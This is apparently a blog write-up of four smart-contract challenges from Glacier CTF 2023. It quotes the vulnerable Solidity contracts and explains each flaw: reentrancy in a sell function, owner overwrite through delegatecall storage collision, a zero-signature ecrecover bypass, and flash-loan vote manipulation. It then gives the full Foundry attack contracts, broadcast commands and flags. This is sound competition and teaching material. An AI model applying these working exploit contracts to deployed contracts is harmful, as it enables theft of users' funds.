Posted on :: Tags: ,

Hey hi, I played Glacier CTF 2023. I joined with CyberSpace a wonderful team to work with. We got 14th place in this CTF. I am focused on my fav smart contract challenges and solved ALL of them. Let me share those ATTACK scripts here.

Smart Contracts

Clone my solution repository to follow along

git clone https://github.com/TheMj0ln1r/GlacierCTF23Solves.git

GlacierCoin [68pts]

Description :

"You start your journey up the glacier, to get to new heights (maybe even the moon). To get up the first part of the glacie you will need a guide to help you. The cheapest guide that you find charges you 1000 glacier coins, but unfortunately you only have 10. Find a way to pay the guide. To get the ticket, run solve-pow.py"

author: J4X

nc chall.glacierctf.com 13372

Attached Files : [Challenge.sol, Setup.sol, solve-pow.py]

Note : solve-pow.py is just a pow script which generates a ticket for solver which used to deploy our challenge instance using nc chall.glacierctf.com 13372

Setup.sol


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Challenge.sol";

contract Setup {
    GlacierCoin public immutable TARGET; // Contract the player will hack

    constructor() payable {
        require(msg.value == 100 ether);

        // Deploy the victim contract
        TARGET = new GlacierCoin();

        // Send 10 ether to the victim contract as initial balance
        TARGET.buy{value: 10 ether}();
    }

    // Our challenge in the CTF framework will call this function to
    // check whether the player has solved the challenge or not.
    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

Challenge.sol


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

contract GlacierCoin
{
    address owner;
    mapping(address => uint) public balances;
    mapping(address => uint) public frozen;
    constructor() 
    {
        owner = msg.sender;
    }
    //This is the function you need to call to buy tokens
    function buy() public payable
    {
        _mint(msg.value, msg.sender);
    }
    //This is the function you need to call to burn tokens
    function burn(uint256 amount) public
    {
        require(balances[msg.sender] >= amount, "You can not burn this much as you are poor af");
        balances[msg.sender] -= amount;
    }
    //This is a even cooler contract than ERC20 you can not only burn, but also freeze your token. 
    function freeze(uint256 amount) public
    {
        require(balances[msg.sender] >= amount, "You can not freeze this much as you are poor af");
        frozen[msg.sender] += amount;
        balances[msg.sender] -= amount;
    }
    //You can even unfreeze your token, but you can only unfreeze as much as you have frozen
    function defrost(uint256 amount) public
    {
        require(frozen[msg.sender] >= amount, "You can not unfreeze this much");
        frozen[msg.sender] -= amount;
        balances[msg.sender] += amount;
    }
    //You can even sell your token for ether, but you can only sell as much as you have
    function sell(uint256 amount) public
    {
        require(balances[msg.sender] >= amount, "You can not sell this much as you are poor af");
        uint256 new_balance = balances[msg.sender] - amount;
        (msg.sender).call{value: amount}("");
        balances[msg.sender] = new_balance;
    }
    //Internal functions (These shouldn't interest you)
    function _mint(uint256 amount, address target) internal
    {
        balances[target] += amount;
    }   
}

Observations :

  1. We are given with setup contract address
  2. Setup contract deployes the GlacierCoin contract and funds with 10 ether
  3. GlacierCoin is a non-standard token contracts with buy, sell, freeze features

Goal :

  • The goal is to make the GlacierCoin balance 0 (look at isSolved() in Setup)

We can simply look at the sell() function which is susceptable to the great Reentrancy. The balance of the sender updated after the external call. So, we can simply write an Attack contract with a fallback function Reenter into the sell() function.

Attack :

  1. Buy 10 coins in GlacierCoin with 10 ether
  2. Sell it back
  3. Reenter into sell again from fallback

Attack.s.sol :

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import {Setup} from "../src/GlacierCoin/Setup.sol";
import {GlacierCoin} from "../src/GlacierCoin/Challenge.sol";
import {Script} from "forge-std/Script.sol";
import {console} from "forge-std/console.sol";

contract AttackScript is Script{
    function run() public{
        vm.startBroadcast();
        new Attack{value: 20 ether}().exploit();
        console.log("Attack Success");
        vm.stopBroadcast();
    }
}

contract Attack{
    Setup public setupContract = Setup(0x1163C62DE50f6f148e3deA99cA65EBAff3fab967);
    GlacierCoin public TARGET = GlacierCoin(address(setupContract.TARGET()));
    constructor() payable {
        require(msg.value == 20 ether); // For attack contract usage
    }
    function exploit() public{
        TARGET.buy{value: 10 ether}();
        TARGET.sell(10 ether);
    }
    fallback() external payable { 
        TARGET.sell(10 ether);    
    }
}

Run the following command to solve the challenge.

forge script script/GlacierCoinAttack.s.sol:AttackScript --rpc-url <RPC-URL> --private-key <REDACTED> --broadcast

GlacierVault [316pts]

Description :

"Ascending the glacier under the guidance of your seasoned expedition leader, you encounter a breathtaking sight: a vault intricately carved into the ice, its entrance guarded by a formidable sentinel. This ancient guardian stands watch, an imposing figure resolute in its duty. To gain access to the enigmatic vault and its concealed treasures, you must devise a clever strategy to lull the guardian into a deep, peaceful slumber, a challenge that awaits your resourcefulness and cunning. To get the ticket, run solve-pow.py"

author: J4X

nc chall.glacierctf.com 13377

Attached Files : [GlacierVault.sol, Guardian.sol, Setup.sol]

Setup.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./GlacierVault.sol";
import "./Guardian.sol";

contract Setup {
    Guardian public immutable TARGET; // Contract the player will hack
    constructor() payable {
        // Deploy the victim contract
        GlacierVault vault = new GlacierVault();
        // Deploy the guardian contract
        TARGET = new Guardian(address(vault));
    }
    // Our challenge in the CTF framework will call this function to
    // check whether the player has solved the challenge or not.
    function isSolved() public view returns (bool) {
        return TARGET.asleep();
    }
}

Guardian.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

contract Guardian
{
    bool public asleep;
    address public implementation_addr;
    uint256 people_mauled;
    address public owner;

    event putToSleepCall(address, address);

    constructor(address _implementation_addr)
    {
        asleep = false;
        implementation_addr = _implementation_addr;
        owner = msg.sender;
        people_mauled = 0;
    }

    function putToSleep() external
    {
        emit putToSleepCall(msg.sender, owner);
        require(msg.sender == owner, "You can't do that. The yeti mauls you.");
        asleep = true;
    }

    function punch() external payable
    {
        if (msg.value > 10_000_000 ether)
        {
            asleep = true;
        }
        else
        {
            people_mauled += 1;
        }
    }

    function _delegate(address implementation) internal {
        assembly {
            // Copy msg.data. We take full control of memory in this inline assembly
            // block because it will not return to Solidity code. We overwrite the
            // Solidity scratch pad at memory position 0.
            calldatacopy(0, 0, calldatasize())

            // Call the implementation.
            // out and outsize are 0 because we don't know the size yet.
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)

            // Copy the returned data.
            returndatacopy(0, 0, returndatasize())

            switch result
            // delegatecall returns 0 on error.
            case 0 {
                revert(0, returndatasize())
            }
            default {
                return(0, returndatasize())
            }
        }
    }

    /**
     * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function
     * and {_fallback} should delegate.
     */
    function _implementation() internal view returns (address)
    {
        return implementation_addr;
    }

    /**
     * @dev Delegates the current call to the address returned by `_implementation()`.
     *
     * This function does not return to its internal call site, it will return directly to the external caller.
     */
    function _fallback() internal {
        _beforeFallback();
        _delegate(_implementation());
    }

    /**
     * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
     * function in the contract matches the call data.
     */
    fallback() external payable {
        _fallback();
    }

    /**
     * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
     * call, or as part of the Solidity `fallback` or `receive` functions.
     *
     * If overridden should call `super._beforeFallback()`.
     */
    function _beforeFallback() internal {}
}

GlacierVault.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

contract GlacierVault
{
    mapping(uint256 => address) slot_owners;
    mapping(uint256 => string) private slots;
    uint256 quickstore1;
    uint256 quickstore2;
    uint256 quickstore3;
    uint256 quickstore4;
    uint256 quickstore5;

    // You can use this vault to store your strings forever 
    function store(string memory item, uint256 slot_index) payable public
    {
        require(msg.value == 1337);
        require(slot_owners[slot_index] == address(0) || slot_owners[slot_index] == msg.sender, "this store is already used by someone else");

        slots[slot_index] = item;
        slot_owners[slot_index] = msg.sender;
    }

    //These are just for quickly storing numbers (like if you want to write down a phone number and don't forget it)
    function quickStore(uint8 index, uint256 value) public payable
    {
        require(msg.value == 1337);
        if(index == 0)
        {
            quickstore1 = value;
        }
        else if (index == 1)
        {
            quickstore2 = value;
        }
        else if (index == 2)
        {
            quickstore3 = value;
        }
        else if (index == 3)
        {
            quickstore4 = value;
        }
        else if (index == 4)
        {
            quickstore5 = value;
        }
    }
}

Observations :

  1. Setup contract deployes Guardian and GlacierVault contracts
  2. Guardian contract uses GlacierVault logic to perform some task
  3. Guardian contract delegatecall's the GlacierVault

Goal :

  • Put the Guardian contract into sleep

To put the Guardian contract into sleep we need to call the punch() with 10_000_000 ethers or we have to be the owner of the contract. Point to note about delegatecall is "With delegatecall, only the code of the given address is used but all other aspects (storage, balance, msg.sender etc.) are taken from the current contract. The purpose of delegatecall is to use library/logic code which is stored in callee contract but operate on the state of the caller contract".

So, here the call to GlacierVault will effect the storage layout of the Guardian contract. I tried to call the quickStore() function with arguements (0,1) on Guardian contract which delegates the call to GlacierVault. In result the owner variable slot of the Guardian contract was overridden with 1. So, we can able to overwrite the owner of the Guardian by calling quickStore() function. Now simply I called the quickStore() function with address of my attack contract instead of 1. So it will override the owner to my Attack contract address. Now we can call the putToSleep() function.

GlacierVaultAttack.s.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Setup} from "../src/GlacierVault/Setup.sol";
import {Guardian} from "../src/GlacierVault/Guardian.sol";
import {Script} from "forge-std/Script.sol";
import {console} from "forge-std/console.sol";

contract AttackScript is Script{
    function run() public{
        vm.startBroadcast();
        new Attack{value: 10 ether}().exploit();
        console.log("Attack Success");
        vm.stopBroadcast();
    }
}

contract Attack{
    Setup public setupContract = Setup(0x4b4b43d0E6dc47aC7274EA3a2463C87116282700);
    Guardian public TARGET = Guardian(payable(address(setupContract.TARGET())));
    constructor() payable {
        require(msg.value == 10 ether);
    }
    function exploit() public {
        (bool success, ) = address(TARGET).call{value:1337}(
            abi.encodeWithSignature("quickStore(uint8,uint256)", 0, address(this))
            );
        require(success, "Call failed");
        TARGET.putToSleep();
    }
}

// gctf{h3's_sl33pIng_BuT_ju5t_4_n0w}

Run the following command to solve the challenge

forge script script/GlacierVaultAttack.sol:AttackScript --rpc-url <RPC-URL> --private-key <REDACTED> --broadcast

ChairLift [397pts]

Description : 

"After you have defeated the monkeys you see a chairlift that will take you to the summit cross, this is your final step to reach the peak."

author: J4X

nc chall.glacierctf.com 13381

Attached Files : [Setup.sol, ChairLift.sol, Ticket.sol]

Setup.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./ChairLift.sol";

contract Setup {
    ChairLift public immutable TARGET; // Contract the player will hack
    constructor() payable {
        require(msg.value == 100 ether);
        // Deploy the victim contract
        TARGET = new ChairLift();
        // Check if buying a ticket works
        TARGET.buyTicket();
        // Check if taking a ride works
        TARGET.takeRide(0);
    }
    // Our challenge in the CTF framework will call this function to
    // check whether the player has solved the challenge or not.
    function isSolved() public view returns (bool) {
        return TARGET.tripsTaken() == 2;
    }
}

ChairLift.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "./Ticket.sol";

contract ChairLift
{
    uint256 public tripsTaken;
    Ticket public ticket;
    address owner;
    constructor ()
    {
        ticket = new Ticket("Chairlift Ticket");
        owner = msg.sender;
    }
    //To get a ride you have to buy a ticket first
    function buyTicket() external payable
    {
        if (msg.sender != owner)
        {
            require (msg.value == 100_000 ether, "Ticket costs 100,000 ether, inflation has been hitting us hard too");
        }
        
        ticket.mint(msg.sender);
    } 
    //USing your ticket you can take a ride on the chairlift
    function takeRide(uint256 ticketId) external
    {
        require (ticket.ownerOf(ticketId) == msg.sender, "You don't own this ticket");
        tripsTaken += 1;
        ticket.burn(ticketId);
    }
}

Ticket.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Ticket {
    bytes32 private constant DOMAIN_SEPARATOR_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
    bytes32 private constant PERMIT_TYPEHASH = keccak256("Permit(address from,address to,uint256 tokenId,uint256 nonce,uint256 deadline)");

    mapping(address => uint256) public nonces;
    mapping (uint256 => address) private _owners;
    mapping (uint256 => address) private _tokenApprovals;
    mapping (address => mapping (address => bool)) private _operatorApprovals;

    string private _name;
    address owner;
    uint256 id;

    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
    event Approval(address indexed _owner, address indexed approved, uint256 indexed tokenId);
    event ApprovalForAll(address indexed _owner, address indexed operator, bool approved);

    constructor(string memory name_) {
        _name = name_;
        owner = msg.sender;
        id = 0;
    }

    //------------------------------------------------ PUBLIC FUNCTIONS ------------------------------------------------//

    function ownerOf(uint256 tokenId) public view returns (address) {
        return _owners[tokenId];
    }

    function approve(address to, uint256 tokenId) public {
        address ticketOwner = ownerOf(tokenId);
        require(to != ticketOwner, "Ticket: approval to current owner");
        require(msg.sender == ticketOwner || isApprovedForAll(ticketOwner, msg.sender),
            "Ticket: approve caller is not owner nor approved for all"
        );
        _tokenApprovals[tokenId] = to;
        emit Approval(ticketOwner, to, tokenId);
    }

    function getApproved(uint256 tokenId) public view returns (address) {
        require(_owners[tokenId] != address(0), "Ticket: approved query for nonexistent token");
        return _tokenApprovals[tokenId];
    }

    function setApprovalForAll(address operator, bool approved) public {
        require(operator != msg.sender, "Ticket: approve to caller");
        _operatorApprovals[msg.sender][operator] = approved;
        emit ApprovalForAll(msg.sender, operator, approved);
    }

    function isApprovedForAll(address _owner, address operator) public view returns (bool) {
        return _operatorApprovals[_owner][operator];
    }

    function transferFrom(address from, address to, uint256 tokenId) public {
        require(_isApprovedOrOwner(msg.sender, tokenId), "Ticket: transfer caller is not owner nor approved");
        _transfer(from, to, tokenId);
    }

    function safeTransferFrom(address from, address to, uint256 tokenId) public {
        safeTransferFrom(from, to, tokenId, "");
    }

    function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public {
        require(_isApprovedOrOwner(msg.sender, tokenId), "Ticket: transfer caller is not owner nor approved");
        _safeTransfer(from, to, tokenId, _data);
    }

    function transferWithPermit(address from, address to, uint256 tokenId, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public {
        require(block.timestamp <= deadline, "Ticket: permit expired");
        bytes32 digest = keccak256(abi.encodePacked("\x19\x01", _getDomainSeparator(), keccak256(abi.encode(PERMIT_TYPEHASH, from, to, tokenId, nonces[from]++, deadline))));
        address signer = ecrecover(digest, v, r, s);
        require(signer == from, "Ticket: invalid permit");
        _transfer(from, to, tokenId);
    }

    function mint(address target) public {
        require(msg.sender == owner, "Ticket: Only the owner can mint tickets");
        
        _owners[id] = target;

        id++;
    }

    function burn(uint256 tokenId) public {
        require(msg.sender == owner, "Ticket: caller is not owner nor approved");
        
        _owners[tokenId] = address(0);
    }

    //------------------------------------------------ INTERNAL FUNCTIONS ------------------------------------------------//

    function _transfer(address from, address to, uint256 tokenId) internal {
        require(ownerOf(tokenId) == from, "Ticket: transfer of token that is not own");
        require(to != address(0), "Ticket: transfer to the zero address");

        _owners[tokenId] = to;

        emit Transfer(from, to, tokenId);
    }
    function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal {
        _transfer(from, to, tokenId);
        require(_checkOnERC721Received(from, to, tokenId, _data), "Ticket: transfer to non ERC721Receiver implementer");
    }
    function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) internal returns (bool) {
        if (_isContract(to)) {
            try IERC721Receiver(to).onERC721Received(msg.sender, from, tokenId, _data) returns (bytes4 retval) {
                return retval == IERC721Receiver(to).onERC721Received.selector;
            } catch (bytes memory reason) {
                if (reason.length == 0) {
                    revert("Ticket: transfer to non ERC721Receiver implementer");
                } else {
                    assembly {
                        revert(add(32, reason), mload(reason))
                    }
                }
            }
        } else {
            return true;
        }
    }
    function _isApprovedOrOwner(address spender, uint256 tokenId) internal view returns (bool) {
        require(_owners[tokenId] != address(0), "Ticket: operator query for nonexistent token");
        address _owner = ownerOf(tokenId);
        return (spender == _owner || getApproved(tokenId) == spender || isApprovedForAll(_owner, spender));
    }
    function _approve(address to, uint256 tokenId) internal {
        _tokenApprovals[tokenId] = to;
        emit Approval(ownerOf(tokenId), to, tokenId);
    }
    function _getChainId() internal view returns (uint256 chainId) {
        assembly {
            chainId := chainid()
        }
    }
    function _getDomainSeparator() private view returns (bytes32) {
        return keccak256(abi.encode(
            DOMAIN_SEPARATOR_TYPEHASH,
            keccak256(bytes(_name)),
            keccak256(bytes("1")),
            _getChainId(),
            address(this)
        ));
    }
    function _isContract(address _addr) private view returns (bool){
        uint32 size;
        assembly {
            size := extcodesize(_addr)
        }
        return (size > 0);
    }
}
interface IERC721Receiver {
    function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}

Observations :

  1. Setup contract deploys ChairLift contract and updates tripsTaken to 1
  2. ChairLift contract deploys and uses Ticket contract
  3. Ticket contract is not a standard token contract
  4. Ticket contract uses ecrecover to verify the signature

Goal :

  • Goal is to update the tripsTaken variable to 2

To update the tripsTaken we have to call the function takeRide() with a ticket Id as arguement.

function takeRide(uint256 ticketId) external
{
    require (ticket.ownerOf(ticketId) == msg.sender, "You don't own this ticket");
    tripsTaken += 1;
    ticket.burn(ticketId);
}

To call the takeRide function we need a ticket. To buy a ticket it costs 1 million ether, too expensive ride. So we need find a way to steal ticket.

There is an interesting function transferWithPermit() which uses ecrecover to verify signature.

function transferWithPermit(address from, address to, uint256 tokenId, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public {
    require(block.timestamp <= deadline, "Ticket: permit expired");
    bytes32 digest = keccak256(abi.encodePacked("\x19\x01", _getDomainSeparator(), keccak256(abi.encode(PERMIT_TYPEHASH, from, to, tokenId, nonces[from]++, deadline))));
    address signer = ecrecover(digest, v, r, s);
    require(signer == from, "Ticket: invalid permit");
    _transfer(from, to, tokenId);
}

We can transfer ticket to an address if we have the signature of a ticket owner. We cant get the signature of someone. Lets see who are the owners of some tickets.

mapping (uint256 => address) private _owners;

Here we know that the default owner of a ticket is 0 address. In the burn() function also updates the owner of the ticket to address(0). So, If we managed to get the signature of the address(0) and set the from address to 0 as the from address check is not done inside the transferWithPermit() function.

By simply researching about ecrecover we can get to know that values of v - 0, r - 0, s - 0 will recover the address of 0. Now passing the from address as 0, signature values as 0 will bypass the signature check and transfers a ticket to our specified address. Then simply calling takeRide function will increment the tripsTaken variable.

ChairLiftAttack.s.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import {Ticket} from  "../src/ChairLift/Ticket.sol";
import {ChairLift} from "../src/ChairLift/ChairLift.sol";
import {Setup} from "../src/ChairLift/Setup.sol";
import {Script} from "forge-std/Script.sol";
import {console} from "forge-std/console.sol";

contract AttackScript is Script{
    function run() public{
        vm.startBroadcast();
        new Attack().exploit();
        console.log("Attack Success");
        vm.stopBroadcast();
    }
}

contract Attack{
    Setup public setupContract = Setup(0xB09c4177c15f9C5d4F6a8f1Bfa06cF4b77907Ff7);
    ChairLift public chairlift = ChairLift(address(setupContract.TARGET()));
    Ticket public ticket = Ticket(address(chairlift.ticket()));

    function exploit() public{
        ticket.transferWithPermit(address(0), address(this), 1, block.timestamp+100, 0, 0, 0);
        chairlift.takeRide(1);
    }
}

//gctf{Y0u_d1d_1t!_Y0u_r34ch3d_th3_p34k!}

To solve the challenge run the following command

forge script script/ChairLiftAttack.s.sol:AttackScript --rpc-url <RPC-URL> --private-key <REDACTED> --broadcast

The Concil of Apes [456pts]

Description : 

On top of the glacier you run into a bunch of monkeys. They are screaching at each other, throwin feces around and won't let you pass. You will need to somehow get rid of them to finish your mission.

author: J4X

nc chall.glacierctf.com 13380

Attached files

  1. Setup.sol
  2. CouncilOfApes.sol
  3. IcyExchange.sol
  4. IcyPool.sol
  5. TotallyNotCopiedToken.sol
  6. IERC20.sol
  7. ERC20.sol

This was an interesting and a bit of hard chall I would say, It took me more than an half day to understand the code base and solve the challenge.

To solve the challenge we need to understand the entire code base, how the tokens are deployed, what is our goal, etc.

At an high level our goal is to call the dissolveCouncilOfTheApes() function of CouncilOfApes contract. To call this function we need to upgrade our user class from APE to GORILLA. For this we should have more than 1_000_000_000 votes. An APE can vote it self with the balanaBalance. To get 1_000_000_000 votes we should have 1_000_000_000 bananabalance, but we only have 1.

To get more bananaBalance we should exchange our IcyTokens, But we dont have them. We can get the FlashLoan of IcyTokens. To get pass the checks in FlashLoan function we should deploy our own Token with totalSupply less than 100_000_000. And we need to create pool on IcyExchange contract.

After creating a fake custom token and creating a pool we can able to get a FlashLoan of required amount. Then I took flashloan and used those IcyTokens to buy bananaBalance and voted my self to update the class to GORILLA from APE. Then there is way to mint more bananaBalance using issueBanana() function then I used sell() to exchange bananaBalance with IcyTokens and I repayed those tokens back to IcyExchange cause I took flashloan from it.

MyNewToken.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "../../src/CouncilOfApes/ERC20.sol";

contract MyNewToken is ERC20 
{
    constructor(address owner, string memory name, string memory symbol) ERC20(name, symbol) 
    {
        _mint(owner, 100_000_000);
    }
}

CouncilOfCapesAttack.s.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./MyNewToken.sol";
import {IcyExchange} from "../../src/CouncilOfApes/IcyExchange.sol";
import {Setup} from "../../src/CouncilOfApes/Setup.sol";
import {Script} from "forge-std/Script.sol";
import {console} from "forge-std/console.sol";

contract AttackScript is Script{
    function run() public{
        vm.startBroadcast();
        new Attack{value: 10 ether}().exploit();
        console.log("Attack Success");
        vm.stopBroadcast();
    }
}

contract Attack {
    MyNewToken public myToken = new MyNewToken(address(this), "My New H4ck3r Token", "H4CK");
    Setup public setup = Setup(0x821B54EfB659A64d5b0A3145811b290A997705C0);
    IcyExchange public TARGET = setup.TARGET();
    address public _icyToken = address(TARGET.icyToken());

    bytes32 public theEvilWords = keccak256("Kevin come out of the basement, dinner is ready.");

    constructor() payable{
        require(msg.value == 10 ether);
    }


    function exploit() public {
        
        //Become an ape
        bytes32 holyWords = keccak256("I hereby swear to ape into every shitcoin I see, to never sell, to never surrender, to never give up, to never stop buying, to never stop hodling, to never stop aping, to never stop believing, to never stop dreaming, to never stop hoping, to never stop loving, to never stop living, to never stop breathing");
        TARGET.council().becomeAnApe(holyWords);

    
        // create a pool on IcyExchange
        myToken.approve(address(TARGET), 100_000);
        TARGET.createPool{value: 1 ether}(address(myToken));

        // Take flash loan
        myToken.approve(address(TARGET), type(uint256).max); // we dont know how many tokens it needs, give as much as possible
        TARGET.collateralizedFlashloan(address(myToken), 1_000_000_000, address(this));

    }

    function receiveFlashLoan(uint256 amount) public{
        TARGET.icyToken().approve(address(TARGET.council()), amount);
        TARGET.council().buyBanana(amount);

        TARGET.council().vote(address(this), amount);
        TARGET.council().claimNewRank();
        
        TARGET.council().issueBanana(amount, address(this));
        TARGET.council().sellBanana(amount);

        TARGET.icyToken().approve(address(TARGET), amount);

        TARGET.council().dissolveCouncilOfTheApes(theEvilWords);
    }

    fallback() external payable { }
}

//gctf{M0nkee5_4re_inD33d_t0g3ther_str0ng3r}

To solve run this command

forge script script/CouncilOfApesAttack/CouncilOfApesAttack.s.sol:AttackScript --rpc-url <RPC-URL> --private-key <REDACTED> --broadcast

Note that understanding entire protocol is necessary to solve this challenge.


Thank you for visiting!!!